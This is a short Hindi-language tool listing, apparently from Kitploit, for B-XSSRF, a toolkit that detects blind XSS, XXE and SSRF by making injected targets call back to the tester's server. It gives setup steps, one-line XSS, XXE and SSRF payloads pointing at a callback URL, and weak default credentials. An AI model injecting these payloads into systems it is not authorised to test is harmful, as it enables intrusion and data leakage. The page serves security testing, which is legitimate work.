B-XSSRF — ब्लाइंड XSS, XXE और SSRF का पता लगाने और उन पर नज़र रखने के लिए टूलकिट | Kitploit

साझा करें

B-XSSRF

ब्लाइंड XSS, XXE और SSRF का पता लगाने और ट्रैक करने के लिए टूलकिट

B-XSSRF

सेटअप

अपने सर्वर पर फ़ाइलें अपलोड करें।
एक डेटाबेस बनाएं और उसमें database.sql फ़ाइल अपलोड करें।
db.php फ़ाइल में डेटाबेस क्रेडेंशियल्स बदलें।
तैयार।

उपयोग

ब्लाइंड XSS

<embed src="http://mysite.com/bxssrf/request.php">
<script src="http://mysite.com/bxssrf/request.php">

ब्लाइंड XXE

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://mysite.com/bxssrf/request.php"> %ext;
]>
<r></r>

SSRF

GET /testssrf.php=http://mysite.com/bxssrf/request.php

डिफ़ॉल्ट क्रेडेंशियल्स

USER : [email protected]
PASS : 123456